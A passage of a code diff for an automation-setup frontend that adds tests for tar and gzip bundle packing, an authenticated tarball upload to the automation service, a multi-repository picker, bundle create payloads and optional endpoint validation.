+ );
+ });
+
+ it("survives multi-byte content, whose length is bytes and not characters", () => {
+ // Arrange: three bytes in UTF-8, one character in JavaScript.
+ const content = "héllo — ✓\n";
+
+ // Act
+ const members = readTar(packTar([{ name: "notes.md", content }]));
+
+ // Assert
+ expect(members[0].content).toBe(content);
+ });
+
+ it("writes a multi-byte name as the bytes a reader takes it back from", () => {
+ // Arrange: the name is 8 bytes in UTF-8 and 7 characters in JavaScript,
+ // and the length guard measures the bytes.
+ const name = "café.py";
+
+ // Act
+ const members = readTar(packTar([{ name, content: "" }]));
+
+ // Assert
+ expect(members[0].name).toBe(name);
+ });
+
+ it("refuses a name that would not fit a ustar header", () => {
+ // Arrange
+ const name = `${"nested/".repeat(15)}main.py`;
+
+ // Act + Assert
+ expect(() => packTar([{ name, content: "" }])).toThrow(/name too long/);
+ });
+
+ it("is byte-identical for identical input, so an unchanged bundle re-uploads unchanged", () => {
+ // Act
+ const first = packTar([{ name: "main.py", content: "print(1)\n" }]);
+ const second = packTar([{ name: "main.py", content: "print(1)\n" }]);
+
+ // Assert
+ expect(Buffer.from(first)).toEqual(Buffer.from(second));
+ });
+});
+
+describe("packTarGzip", () => {
+ it("produces gzip that decompresses to the same archive", async () => {
+ // Arrange
+ const files = [{ name: "main.py", content: "print('hi')\n" }];
+
+ // Act
+ const compressed = await packTarGzip(files);
+
+ // Assert
+ expect(compressed[0]).toBe(0x1f);
+ expect(compressed[1]).toBe(0x8b);
+ expect(readTar(new Uint8Array(gunzipSync(compressed)))).toEqual(
+ readTar(packTar(files)),
+ );
+ });
+});
diff --git a/src/api/automation-service/automation-service.api.ts b/src/api/automation-service/automation-service.api.ts
index b7601f6327..f3584595f8 100644
--- a/src/api/automation-service/automation-service.api.ts
+++ b/src/api/automation-service/automation-service.api.ts
@@ -20,7 +20,10 @@ import type {
GitSyncStatus,
GitSyncTriggerResponse,
} from "#/types/git-sync";
-import { automationCreateEndpoint } from "#/manifests/automation-setup";
+import {
+ automationCreateEndpoint,
+ automationUploadEndpoint,
+} from "#/manifests/automation-setup";
import {
getAutomationEndpoint,
getAutomationIdEndpoint,
@@ -28,6 +31,7 @@ import {
} from "#/manifests/automation-interface";
import type {
DeploymentCapabilities,
+ SetupEntry,
SetupRequestBody,
ValidateDraftResponse,
} from "#/manifests/types";
@@ -585,9 +589,11 @@ class AutomationService {
*/
static async createAutomationDraft(
body: SetupRequestBody,
+ /** The entry the draft came from, which decides the create endpoint. */
+ entry?: SetupEntry,
): Promise<Record<string, unknown>> {
const active = getActiveBackend().backend;
- const path = `${AUTOMATION_BASE_PATH}${automationCreateEndpoint()}`;
+ const path = `${AUTOMATION_BASE_PATH}${automationCreateEndpoint(entry)}`;
if (active.kind === "cloud") {
return callCloudProxy<Record<string, unknown>>({
@@ -606,6 +612,69 @@ class AutomationService {
return data;
}
+ /**
+ * Upload a packed bundle, and return the `oh-internal://` path the create
+ * call references.
+ *
+ * The body is the archive itself rather than a multipart form - the service
+ * streams it and takes its metadata from the query string, so it never has
+ * to buffer the whole file to start writing.
+ */
+ static async uploadAutomationTarball(
+ name: string,
+ archive: Uint8Array,
+ ): Promise<string> {
+ const active = getActiveBackend().backend;
+ const path =
+ `${AUTOMATION_BASE_PATH}${automationUploadEndpoint()}` +
+ `?name=${encodeURIComponent(name)}`;
+ const headers = { "Content-Type": "application/gzip" };
+
+ let upload: Record<string, unknown>;
+ if (active.kind === "cloud") {
+ // Post the archive straight to the cloud host rather than through the
+ // cloud client: that client JSON-serializes any non-FormData body, which
+ // would turn the gzip `Uint8Array` into `{"0":31,...}` even though the
+ // header says `application/gzip`. Axios preserves the raw bytes (its
+ // `transformRequest` sends the underlying buffer), so the service still
+ // receives the archive as the stream it expects, with metadata in the
+ // query string. This upload sets no host override, so a direct call
+ // matches the cloud client's own direct-to-host path -- we just add the
+ // two headers that path would (`Bearer` auth and `X-Org-Id`).
+ const { orgId } = getActiveBackend();
+ upload = (
+ await axios.post<Record<string, unknown>>(
+ `${active.host.replace(/\/+$/, "")}${path}`,
+ archive,
+ {
+ headers: {
+ ...(await buildAutomationRequestHeaders()),
+ ...headers,
+ ...(active.apiKey
+ ? { Authorization: `Bearer ${active.apiKey}` }
+ : {}),
+ ...(orgId ? { "X-Org-Id": orgId } : {}),
+ },
+ },
+ )
+ ).data;
+ } else {
+ upload = (
+ await localAutomationAxios.post<Record<string, unknown>>(
+ path,
+ archive,
+ { headers },
+ )
+ ).data;
+ }
+
+ const tarballPath = upload.tarball_path;
+ if (typeof tarballPath !== "string" || !tarballPath) {
+ throw new Error("The upload returned no tarball path.");
+ }
+ return tarballPath;
+ }
+
// Git sync paths are literal rather than routed through
// `getAutomationEndpoint`. That manifest describes the automation surface a
// host may remap, and `InterfaceEndpoints` requires every key it declares --
diff --git a/src/components/features/manifest/manifest-form-field.tsx b/src/components/features/manifest/manifest-form-field.tsx
index 14a37c0476..16ee5f1158 100644
--- a/src/components/features/manifest/manifest-form-field.tsx
+++ b/src/components/features/manifest/manifest-form-field.tsx
@@ -7,16 +7,20 @@ import { I18nKey } from "#/i18n/declaration";
import { formControlMultilineFieldClassName } from "#/utils/form-control-classes";
import { cn } from "#/utils/utils";
import type { GitRepository } from "#/types/git";
+import { fieldText, fieldValues } from "#/manifests/manifest-local-validation";
+import { SetupRepositoryList } from "./manifest-repository-list";
import type {
SetupFieldOption,
SetupFormField as SetupFormFieldDefinition,
+ SetupFormValue,
} from "#/manifests/types";
export interface SetupFormFieldProps {
/** The record key the field is declared under, and what `{{form.x}}` reads. */
name: string;
field: SetupFormFieldDefinition;
- value: string;
+ /** A list for a field collecting several values, a string for the rest. */
+ value: SetupFormValue;
/** Already-resolved copy: local checks and service errors look the same here. */
error?: string;
/** Declared options, or the ones the deployment supplied. */
@@ -24,7 +28,7 @@ export interface SetupFormFieldProps {
/** The picked repository, kept so the picker can show what is selected. */
repository: GitRepository | null;
disabled: boolean;
- onChange: (value: string) => void;
+ onChange: (value: SetupFormValue) => void;
onRepositoryChange: (repository: GitRepository | null) => void;
onBlur: () => void;
}
@@ -60,6 +64,31 @@ export function SetupFormField({
// local-only, which makes that the common case rather than the edge one.
const canListRepositories = backend.kind === "cloud";
+ // The format hint is host copy: a manifest states the format of everything it
+ // declares except a repository, whose shape the host derives.
+ const repositoryPlaceholder =
+ field.placeholder ?? t(I18nKey.SETUP$REPOSITORY_PLACEHOLDER);
+
+ if (field.type === "repo-picker" && field.multiple) {
+ return (
+ <div className="flex w-full flex-col gap-2.5">
+ <FieldLabel field={field} />
+ <SetupRepositoryList
+ name={name}
+ field={field}
+ values={fieldValues(value)}
+ canListRepositories={canListRepositories}
+ placeholder={repositoryPlaceholder}
+ disabled={disabled}
+ onChange={onChange}
+ onBlur={onBlur}
+ />
+ <FieldError testId={testId} error={error} />
+ {help}
+ </div>
+ );
+ }
+
if (field.type === "repo-picker" && canListRepositories) {
return (
<div className="flex w-full flex-col gap-2.5">
@@ -67,7 +96,7 @@ export function SetupFormField({
<GitRepoDropdown
provider={field.provider ?? "github"}
value={repository?.id ?? null}
- repositoryName={repository?.full_name ?? value ?? null}
+ repositoryName={repository?.full_name ?? fieldText(value) ?? null}
placeholder={field.placeholder}
disabled={disabled}
onChange={(selected) => {
@@ -99,7 +128,7 @@ export function SetupFormField({
key: option.value,
label: option.label,
}))}
- selectedKey={value || undefined}
+ selectedKey={fieldText(value) || undefined}
placeholder={field.placeholder}
isDisabled={disabled}
required={field.required}
@@ -122,7 +151,7 @@ export function SetupFormField({
data-testid={testId}
name={name}
rows={4}
- value={value}
+ value={fieldText(value)}
placeholder={field.placeholder}
disabled={disabled}
aria-invalid={!!error}
@@ -145,10 +174,7 @@ export function SetupFormField({
// states the format of everything it declares except the repository, whose
// shape the host derives, so that one hint is host copy.
const placeholder =
- field.placeholder ??
- (field.type === "repo-picker"
- ? t(I18nKey.SETUP$REPOSITORY_PLACEHOLDER)
- : undefined);
+ field.type === "repo-picker" ? repositoryPlaceholder : field.placeholder;
return (
<div className="flex w-full flex-col gap-2.5">
@@ -157,7 +183,7 @@ export function SetupFormField({
name={name}
type="text"
label={field.label}
- value={value}
+ value={fieldText(value)}
placeholder={placeholder}
isDisabled={disabled}
showRequiredTag={field.required}
diff --git a/src/components/features/manifest/manifest-repository-list.tsx b/src/components/features/manifest/manifest-repository-list.tsx
new file mode 100644
index 0000000000..189ca4ab57
--- /dev/null
+++ b/src/components/features/manifest/manifest-repository-list.tsx
@@ -0,0 +1,141 @@
+import { useState } from "react";
+import { useTranslation } from "react-i18next";
+import { BrandButton } from "#/components/features/settings/brand-button";
+import { SettingsInput } from "#/components/features/settings/settings-input";
+import { GitRepoDropdown } from "#/components/features/home/git-repo-dropdown";
+import { I18nKey } from "#/i18n/declaration";
+import type { SetupFormField as SetupFormFieldDefinition } from "#/manifests/types";
+
+export interface SetupRepositoryListProps {
+ name: string;
+ field: SetupFormFieldDefinition;
+ values: string[];
+ /** Whether this backend can list the user's repositories to pick from. */
+ canListRepositories: boolean;
+ placeholder?: string;
+ disabled: boolean;
+ onChange: (values: string[]) => void;
+ onBlur: () => void;
+}
+
+/**
+ * A repository field that collects several repositories.
+ *
+ * One automation polling several repositories is the shape the entry asked
+ * for; the alternative is one automation each, with the trigger label, tone and
+ * schedule restated every time. Added repositories are listed above the input
+ * that adds them, each removable, because the list is the answer and the input
+ * is only how it is built.
+ *
+ * A repository already in the list is not added twice: the entry would poll it
+ * twice per run for one result.
+ */
+export function SetupRepositoryList({
+ name,
+ field,
+ values,
+ canListRepositories,
+ placeholder,
+ disabled,
+ onChange,
+ onBlur,
+}: SetupRepositoryListProps) {
+ const { t } = useTranslation("openhands");
+ const [draft, setDraft] = useState("");
+
+ const add = (value: string) => {
+ const entry = value.trim();
+ if (!entry || values.includes(entry)) return;
+ onChange([...values, entry]);
+ setDraft("");
+ onBlur();
+ };
+
+ const remove = (value: string) => {
+ onChange(values.filter((item) => item !== value));
+ onBlur();
+ };
+
+ return (
+ <div
+ className="flex w-full flex-col gap-2"
+ data-testid={`setup-list-${name}`}
+ >
+ {values.length > 0 && (
+ <ul className="flex flex-col gap-1.5">
+ {values.map((value) => (
+ <li
+ key={value}
+ className="flex items-center justify-between gap-2 rounded-md border border-[var(--oh-border)] px-3 py-1.5"
+ >
+ <span className="truncate text-sm">{value}</span>
+ <BrandButton
+ testId={`setup-list-${name}-remove-${value}`}
+ type="button"
+ variant="ghost-danger"
+ isDisabled={disabled}
+ ariaLabel={t(I18nKey.COMMON$REMOVE)}
+ onClick={() => remove(value)}
+ >
+ {t(I18nKey.COMMON$REMOVE)}
+ </BrandButton>
+ </li>
+ ))}
+ </ul>
+ )}
+
+ {canListRepositories ? (
+ <GitRepoDropdown
+ provider={field.provider ?? "github"}
+ value={null}
+ repositoryName={null}
+ placeholder={placeholder}
+ disabled={disabled}
+ onChange={(selected) => {
+ if (selected?.full_name) add(selected.full_name);
+ }}
+ />
+ ) : (
+ <div className="flex items-end gap-2">
+ <div className="grow">
+ <SettingsInput
+ testId={`setup-field-${name}`}
+ name={name}
+ // The field's own label is rendered above the list, so this input
+ // shows none of its own; it is the control that adds an entry.
+ // It still answers to that label, or it would be an input a
+ // screen reader announces as nothing at all.
+ label=""
+ ariaLabel={field.label}
+ type="text"
+ value={draft}
+ placeholder={placeholder}
+ isDisabled={disabled}
+ onChange={setDraft}
+ onKeyDown={(event) => {
+ if (event.key !== "Enter") return;
+ // Enter adds a repository rather than submitting the dialog,
+ // which would create the automation from a half-built list.
+ event.preventDefault();
+ add(draft);
+ }}
+ // A repository typed but not added is still an answer the user
+ // gave: leaving the input commits it, rather than dropping it on
+ // the way to a Continue that reads the list alone.
+ onBlur={() => add(draft)}
+ />
+ </div>
+ <BrandButton
+ testId={`setup-list-${name}-add`}
+ type="button"
+ variant="secondary"
+ isDisabled={disabled || draft.trim() === ""}
+ onClick={() => add(draft)}
+ >
+ {t(I18nKey.BUTTON$ADD)}
+ </BrandButton>
+ </div>
+ )}
+ </div>
+ );
+}
diff --git a/src/components/features/manifest/manifest-review-step.tsx b/src/components/features/manifest/manifest-review-step.tsx
index f9b7a1ba54..8b8f42dc03 100644
--- a/src/components/features/manifest/manifest-review-step.tsx
+++ b/src/components/features/manifest/manifest-review-step.tsx
@@ -1,6 +1,9 @@
import { useTranslation } from "react-i18next";
import { I18nKey } from "#/i18n/declaration";
-import { collectFields } from "#/manifests/manifest-local-validation";
+import {
+ collectFields,
+ fieldValues,
+} from "#/manifests/manifest-local-validation";
import type { SetupBlock, SetupFormValues } from "#/manifests/types";
export interface SetupReviewStepProps {
@@ -26,7 +29,9 @@ export function SetupReviewStep({ setup, values }: SetupReviewStepProps) {
<div key={name} className="flex flex-col gap-0.5">
<dt className="text-xs text-[var(--oh-muted)]">{field.label}</dt>
<dd className="text-sm break-words">
- {(values[name] ?? "").trim() || t(I18nKey.SETUP$EMPTY_VALUE)}
+ {/* A field collecting several values reads as a list of them. */}
+ {fieldValues(values[name]).join(", ") ||
+ t(I18nKey.SETUP$EMPTY_VALUE)}
</dd>
</div>
))}
diff --git a/src/components/features/manifest/manifest-setup-dialog.tsx b/src/components/features/manifest/manifest-setup-dialog.tsx
index 7092e22c94..e326911ee7 100644
--- a/src/components/features/manifest/manifest-setup-dialog.tsx
+++ b/src/components/features/manifest/manifest-setup-dialog.tsx
@@ -17,6 +17,7 @@ import { useSetupAction } from "#/manifests/manifest-actions";
import {
buildCreatePayload,
deriveErrorMap,
+ missingCreateEndpoints,
} from "#/manifests/automation-setup";
import {
collectFields,
@@ -37,6 +38,7 @@ import { findAutomationCommand } from "#/utils/automation-catalog";
import type { GitRepository } from "#/types/git";
import type {
SetupEntry,
+ SetupFormValue,
SetupFormValues,
SetupMode,
SetupRequestBody,
@@ -139,7 +141,18 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) {
trackAutomationSetupOpened({ automationId: entry.id });
}, [entry.id, trackAutomationSetupOpened]);
- const isUnsupported = capabilities.supported === false;
+ // An entry the published interface cannot create is refused here rather than
+ // at the moment of creating: a bundle needs two endpoints a manifest from
+ // before bundles does not declare, and no answer the user gives supplies
+ // them. Named alongside the deployment's own unmet requirements, because
+ // "which one" is the only thing that makes either diagnosable.
+ const missingEndpoints = useMemo(
+ () => missingCreateEndpoints(entry),
+ [entry],
+ );
+ const isUnsupported =
+ capabilities.supported === false || missingEndpoints.length > 0;
+ const unmet = [...capabilities.unmet, ...missingEndpoints];
const showPrerequisites =
prerequisites.blockingIntegrations.length > 0 ||
prerequisites.warningIntegrations.length > 0;
@@ -148,7 +161,7 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) {
const currentStep: SetupStep =
step === "prerequisites" && !showPrerequisites ? "form" : step;
- const setFieldValue = (name: string, value: string) => {
+ const setFieldValue = (name: string, value: SetupFormValue) => {
valuesRef.current = { ...valuesRef.current, [name]: value };
setValues(valuesRef.current);
setLocalErrors(({ [name]: _removed, ...rest }) => rest);
@@ -287,12 +300,12 @@ export function SetupDialog({ entry, onClose }: SetupDialogProps) {
translated. Without them the block is undiagnosable: the
deployment answered, and the host would be discarding the
one thing it learned. */}
- {capabilities.unmet.length > 0 && (
+ {unmet.length > 0 && (
<p
data-testid="setup-unmet-requirements"
className="text-sm text-[var(--oh-muted)]"
>
- {capabilities.unmet.join(", ")}
+ {unmet.join(", ")}
</p>
)}
</div>
diff --git a/src/components/features/settings/settings-input.tsx b/src/components/features/settings/settings-input.tsx
index 7c60252a91..dbe748d1f5 100644
--- a/src/components/features/settings/settings-input.tsx
+++ b/src/components/features/settings/settings-input.tsx
@@ -25,6 +25,12 @@ interface SettingsInputProps {
/** Validation message shown when pattern doesn't match */
title?: string;
labelClassName?: string;
+ /**
+ * The input's accessible name, for the caller that renders the visible label
+ * itself. Only for those: a field labelled by this component reads its label,
+ * and two names would disagree.
+ */
+ ariaLabel?: string;
/** ARIA describedby attribute for accessibility */
ariaDescribedBy?: string;
/** ARIA invalid attribute for accessibility */
@@ -70,6 +76,7 @@ export const SettingsInput = forwardRef<HTMLInputElement, SettingsInputProps>(
pattern,
title,
labelClassName,
+ ariaLabel,
ariaDescribedBy,
ariaInvalid,
error,
@@ -119,6 +126,7 @@ export const SettingsInput = forwardRef<HTMLInputElement, SettingsInputProps>(
required={required}
pattern={pattern}
title={title}
+ aria-label={ariaLabel}
aria-describedby={errorId ?? ariaDescribedBy}
aria-invalid={!!error || ariaInvalid}
className={cn(
diff --git a/src/hooks/use-manifest-preflight.ts b/src/hooks/use-manifest-preflight.ts
index 17afabf9f0..7139477024 100644
--- a/src/hooks/use-manifest-preflight.ts
+++ b/src/hooks/use-manifest-preflight.ts
@@ -58,13 +58,19 @@ export function useSetupPreflight(entry: SetupEntry) {
async (
formValues: SetupFormValues,
): Promise<MappedManifestErrors | null> => {
- const body = buildPreflightBody(entry, formValues);
- if (!body) return null;
+ try {
+ // Deriving the body is inside the guard too: a bundle entry resolves
+ // the create endpoint here, and an interface manifest published before
+ // bundles declares none. That is the same "cannot be checked" as a
+ // validator that will not answer, and left outside it rejected a
+ // promise no caller handles - which reads as a Continue button that
+ // does nothing at all.
+ const body = buildPreflightBody(entry, formValues);
+ if (!body) return null;
- latestRequestRef.current += 1;
- const requestId = latestRequestRef.current;
+ latestRequestRef.current += 1;
+ const requestId = latestRequestRef.current;
- try {
const result = await AutomationService.validateDraft(body);
if (requestId !== latestRequestRef.current) return null;
if (result?.valid) return NO_ERRORS;
diff --git a/src/i18n/translation.json b/src/i18n/translation.json
index 4ff27aa767..a698002aea 100644
--- a/src/i18n/translation.json
+++ b/src/i18n/translation.json
@@ -36430,6 +36430,23 @@
"uk": "owner/repo",
"ca": "owner/repo"
},
+ "SETUP$REPOSITORY_COUNT": {
+ "en": "{{total}} repositories",
+ "ja": "{{total}} 個のリポジトリ",
+ "zh-CN": "{{total}} 个仓库",
+ "zh-TW": "{{total}} 個儲存庫",
+ "ko-KR": "저장소 {{total}}개",
+ "no": "{{total}} repositorier",
+ "it": "{{total}} repository",
+ "pt": "{{total}} repositórios",
+ "es": "{{total}} repositorios",
+ "ar": "{{total}} مستودعات",
+ "fr": "{{total}} dépôts",
+ "tr": "{{total}} depo",
+ "de": "{{total}} Repositorys",
+ "uk": "{{total}} репозиторіїв",
+ "ca": "{{total}} repositoris"
+ },
"FEATURED_AUTOMATIONS$PIN": {
"en": "Pin to dashboard",
"ja": "ダッシュボードにピン留め",
diff --git a/src/manifests/automation-interface.ts b/src/manifests/automation-interface.ts
index 9297da66f3..23f3500c36 100644
--- a/src/manifests/automation-interface.ts
+++ b/src/manifests/automation-interface.ts
@@ -117,8 +117,13 @@ export function automationTemplatesPath(): string {
return MOUNTED_ROUTES.templates;
}
+/**
+ * A declared endpoint path. Empty for one the manifest may omit - the two a
+ * bundle needs were added after the block shipped - so a caller that needs one
+ * says so rather than reading a host-held default that does not exist.
+ */
export function getAutomationEndpoint(name: InterfaceEndpointName): string {
- return requireInterface().endpoints[name];
+ return requireInterface().endpoints[name] ?? "";
}
/** An id-parameterized endpoint with `{id}` substituted, encoded. */
diff --git a/src/manifests/automation-setup.ts b/src/manifests/automation-setup.ts
index 8865893e98..9dad19f8b5 100644
--- a/src/manifests/automation-setup.ts
+++ b/src/manifests/automation-setup.ts
@@ -13,12 +13,19 @@
* so any divergence is a hard 422 rather than a dropped field.
*/
+import i18n from "#/i18n";
+import { I18nKey } from "#/i18n/declaration";
import { findAutomationCommand } from "#/utils/automation-catalog";
import { getAutomationEndpoint } from "./automation-interface";
-import { collectFields } from "./manifest-local-validation";
-import { interpolateText } from "./manifest-template";
+import {
+ collectFields,
+ fieldText,
+ fieldValues,
+} from "./manifest-local-validation";
+import { interpolateText, interpolateValue } from "./manifest-template";
import type {
SetupBlock,
+ SetupBundleConfigValue,
SetupEntry,
SetupFormValues,
SetupRequestBody,
@@ -29,11 +36,75 @@ import type {
* The creation endpoint a derived draft would be posted to. Resolved on call
* rather than at import, because the endpoint is the interface manifest's and
* this module loads whether or not one was admitted.
+ *
+ * A bundle entry is created through the raw endpoint, because what it sends is
+ * a tarball it uploaded rather than arguments to a preset. Called without an
+ * entry - as the import path does - it answers for a prompt.
*/
-export function automationCreateEndpoint(): string {
+export function automationCreateEndpoint(entry?: SetupEntry): string {
+ if (entry && isBundleEntry(entry)) {
+ return requireBundleEndpoint("createBundle");
+ }
return getAutomationEndpoint("createPrompt");
}
+/** Where a bundle's tarball is uploaded, before the create call. */
+export function automationUploadEndpoint(): string {
+ return requireBundleEndpoint("uploads");
+}
+
+/** The endpoints a bundle entry cannot be created without. */
+const BUNDLE_ENDPOINTS = ["createBundle", "uploads"] as const;
+
+/**
+ * An endpoint only a bundle needs. The interface manifest may predate bundles,
+ * and the host holds no path of its own to fall back to, so this is where that
+ * runs out rather than somewhere deep in a request.
+ */
+function requireBundleEndpoint(
+ name: (typeof BUNDLE_ENDPOINTS)[number],
+): string {
+ const path = getAutomationEndpoint(name);
+ if (!path) {
+ throw new Error(
+ `The published automation interface declares no '${name}' endpoint, ` +
+ "so this deployment cannot create an automation from a script bundle.",
+ );
+ }
+ return path;
+}
+
+/**
+ * The endpoints this entry needs that the published interface does not declare.
+ *
+ * Asked before the form renders rather than discovered at the moment of
+ * creating: a pinned package that predates bundles can never answer, and the
+ * dialog can say so while nothing has been filled in yet. Empty for every
+ * entry that is not a bundle, which needs nothing beyond what the block has
+ * always declared.
+ */
+export function missingCreateEndpoints(entry: SetupEntry): string[] {
+ if (!isBundleEntry(entry)) return [];
+ return BUNDLE_ENDPOINTS.filter((name) => !getAutomationEndpoint(name));
+}
+
+/** Whether this entry ships a script tarball instead of a prompt. */
+export function isBundleEntry(entry: SetupEntry): boolean {
+ return entry.setup.mode === "direct" && entry.setup.bundle !== undefined;
+}
+
+/**
+ * The `tarball_path` a preflight draft carries.
+ *
+ * Preflight runs on every field blur and the upload happens once, at submit,
+ * so there is no real path to send yet. The service checks this field's scheme
+ * at preflight and its ownership only at creation, so a well-formed stand-in
+ * validates exactly what preflight is for - the rest of the body - without
+ * uploading an archive per keystroke.
+ */
+export const PREFLIGHT_TARBALL_PATH =
+ "oh-internal://uploads/00000000-0000-0000-0000-000000000000";
+
/**
* Trigger properties a form field may fill, per trigger kind. A field under a
* trigger kind whose name is listed here fills the trigger property of the same
@@ -67,6 +138,31 @@ function findRepoPickerField(setup: SetupBlock) {
return match ? { name: match[0], field: match[1] } : null;
}
+/** Every repository the form collected, whether the picker takes one or many. */
+function repositories(setup: SetupBlock, values: SetupFormValues): string[] {
+ const picker = findRepoPickerField(setup);
+ return picker ? fieldValues(values[picker.name]) : [];
+}
+
+/**
+ * The created automation's name.
+ *
+ * One repository is worth naming; several are not, so the count stands in
+ * rather than a list of names that would not fit.
+ */
+function deriveName(entry: SetupEntry, values: SetupFormValues): string {
+ const repos = repositories(entry.setup, values);
+ if (repos.length === 0) return entry.name;
+ if (repos.length === 1) return `${entry.name} - ${repos[0]}`;
+ // The count is the one word here the host writes rather than reads off the
+ // entry, so it is translated. There is no translator to pass in: the
+ // derivation runs from a memo, an upload and a test alike.
+ const count = i18n.t(I18nKey.SETUP$REPOSITORY_COUNT, {
+ total: repos.length,
+ });
+ return `${entry.name} - ${count}`;
+}
+
/** The single trigger kind a direct entry declares, with its fields. */
function getTrigger(setup: SetupBlock) {
const entries = Object.entries(setup.form.triggers ?? {});
@@ -89,52 +185,143 @@ function getTrigger(setup: SetupBlock) {
export function buildCreatePayload(
entry: SetupEntry,
values: SetupFormValues,
+ /** Bundle entries only: what the upload returned. */
+ tarballPath: string = PREFLIGHT_TARBALL_PATH,
): SetupRequestBody | null {
const { setup } = entry;
- if (setup.mode !== "direct" || !setup.prompt) return null;
+ if (setup.mode !== "direct") return null;
+ if (setup.bundle) return buildBundlePayload(entry, values, tarballPath);
+ if (!setup.prompt) return null;
const scope = { form: values, automation: entry };
const repoPicker = findRepoPickerField(setup);
- const repository = repoPicker ? values[repoPicker.name] : undefined;
+ const repos = repositories(setup, values);
const payload: SetupRequestBody = {
- name: repository ? `${entry.name} - ${repository}` : entry.name,
+ name: deriveName(entry, values),
prompt: interpolateText(setup.prompt, scope),
};
- if (repository && repoPicker?.field.provider) {
+ if (repos.length > 0 && repoPicker?.field.provider) {
const declared = REPO_PROPERTIES.filter((name) => name in values);
- payload.repos = [
- {
- url: repository,
- ...Object.fromEntries(declared.map((name) => [name, values[name]])),
- provider: repoPicker.field.provider,
- },
- ];
+ payload.repos = repos.map((url) => ({
+ url,
+ ...Object.fromEntries(
+ declared.map((name) => [name, fieldText(values[name])]),
+ ),
+ provider: repoPicker.field.provider as string,
+ }));
}
- const trigger = getTrigger(setup);
- if (trigger) {
- const properties = TRIGGER_PROPERTIES[trigger.kind];
- const declared = Object.keys(trigger.fields).filter((name) =>
- properties.includes(name),
- );
+ // A filter is optional: an entry that declares none accepts every delivered
+ // event, so the key is left off rather than sent empty.
+ const trigger = buildTrigger(entry, values);
+ if (trigger) payload.trigger = trigger;
+
+ return payload;
+}
- payload.trigger = {
- type: trigger.kind,
- ...Object.fromEntries(declared.map((name) => [name, values[name] ?? ""])),
- ...(trigger.kind === "event" && {
- source: repoPicker?.field.provider ?? "",
- // A filter is optional: an entry that declares none accepts every
- // delivered event, so the key is left off rather than sent empty.
- ...(setup.filter && { filter: interpolateText(setup.filter, scope) }),
+/**
+ * The `trigger` object, read off the key and fields under `form.triggers`.
+ *
+ * Identical for both kinds of direct entry: only the create endpoint and what
+ * the automation is told to do differ between a prompt and a bundle.
+ */
+function buildTrigger(
+ entry: SetupEntry,
+ values: SetupFormValues,
+): SetupRequestBody | undefined {
+ const trigger = getTrigger(entry.setup);
+ if (!trigger) return undefined;
+
+ const properties = TRIGGER_PROPERTIES[trigger.kind];
+ const declared = Object.keys(trigger.fields).filter((name) =>
+ properties.includes(name),
+ );
+ const repoPicker = findRepoPickerField(entry.setup);
+
+ return {
+ type: trigger.kind,
+ ...Object.fromEntries(
+ declared.map((name) => [name, fieldText(values[name])]),
+ ),
+ ...(trigger.kind === "event" && {
+ source: repoPicker?.field.provider ?? "",
+ ...(entry.setup.filter && {
+ filter: interpolateText(entry.setup.filter, {
+ form: values,
+ automation: entry,
+ }),
}),
- };
- }
+ }),
+ };
+}
+
+/**
+ * The raw create body a bundle entry produces.
+ *
+ * `tarball_path` is the one value neither declared nor derived: the host packs
+ * and uploads the bundle first, and creates from what came back. `template` is
+ * the provenance that makes enabling the same entry twice return the
+ * automation that already exists rather than a second one.
+ *
+ * There is no `repos`: the raw endpoint has no such field, and a bundle's
+ * script fetches what it needs itself.
+ */
+function buildBundlePayload(
+ entry: SetupEntry,
+ values: SetupFormValues,
+ tarballPath: string,
+): SetupRequestBody {
+ const bundle = entry.setup.bundle!;
+ const scope = { form: values, automation: entry };
+
+ const payload: SetupRequestBody = {
+ name: deriveName(entry, values),
+ };
+
+ const trigger = buildTrigger(entry, values);
+ if (trigger) payload.trigger = trigger;
+
+ payload.tarball_path = tarballPath;
+ payload.entrypoint = bundle.entrypoint;
+ if (bundle.setupScript) payload.setup_script_path = bundle.setupScript;
+ if (bundle.timeout !== undefined) payload.timeout = bundle.timeout;
+ payload.template = {
+ id: entry.id,
+ version: bundle.version,
+ config: interpolateConfig(bundle.config, scope) as SetupRequestBody,
+ };
return payload;
}
+/**
+ * Placeholder substitution over the config tree. Only string leaves are
+ * templated; a number, a boolean or a null is written through as itself, so an
+ * entry can state a value the script reads as the type it expects.
+ */
+function interpolateConfig(
+ node: SetupBundleConfigValue,
+ scope: Parameters<typeof interpolateText>[1],
+): SetupBundleConfigValue {
+ if (typeof node === "string") {
+ return interpolateValue(node, scope);
+ }
+ if (Array.isArray(node)) {
+ return node.map((item) => interpolateConfig(item, scope));
+ }
+ if (typeof node === "object" && node !== null) {
+ return Object.fromEntries(
+ Object.entries(node).map(([key, value]) => [
+ key,
+ interpolateConfig(value, scope),
+ ]),
+ );
+ }
+ return node;
+}
+
/**
* The preflight body the host sends. The same shape for every entry, so no
* entry declares it.
@@ -148,7 +335,7 @@ export function buildPreflightBody(
return {
automationId: entry.id,
- endpoint: automationCreateEndpoint(),
+ endpoint: automationCreateEndpoint(entry),
draft,
};
}
diff --git a/src/manifests/interface-validation.ts b/src/manifests/interface-validation.ts
index 8a7720389f..86d6efb38b 100644
--- a/src/manifests/interface-validation.ts
+++ b/src/manifests/interface-validation.ts
@@ -65,6 +65,12 @@ const PLAIN_ENDPOINT_NAMES = [
"createPrompt",
"createPlugin",
] as const;
+// Endpoints added after the block shipped. A manifest published before them is
+// still admitted - requiring them would 404 the whole surface for anyone
+// pinning an older package - so they are checked only when present, and a
+// bundle entry, which is the only thing that needs them, fails on its own if
+// its manifest predates them.
+const OPTIONAL_PLAIN_ENDPOINT_NAMES = ["createBundle", "uploads"] as const;
const ID_ENDPOINT_NAMES = ["detail", "dispatch", "runs", "tarball"] as const;
export interface InterfaceValidationContext {
@@ -623,7 +629,11 @@ function checkImportExport(
function checkEndpoints(check: InterfaceChecker, endpoints: unknown): void {
if (!check.record(endpoints, "endpoints")) return;
- const allowed = [...PLAIN_ENDPOINT_NAMES, ...ID_ENDPOINT_NAMES];
+ const allowed = [
+ ...PLAIN_ENDPOINT_NAMES,
+ ...OPTIONAL_PLAIN_ENDPOINT_NAMES,
+ ...ID_ENDPOINT_NAMES,
+ ];
check.closed(endpoints, allowed, "endpoints");
const endpointAt = (name: string): string | null => {
@@ -639,7 +649,11 @@ function checkEndpoints(check: InterfaceChecker, endpoints: unknown): void {
return value;
};
- PLAIN_ENDPOINT_NAMES.forEach((name) => {
+ const plainNames = [
+ ...PLAIN_ENDPOINT_NAMES,
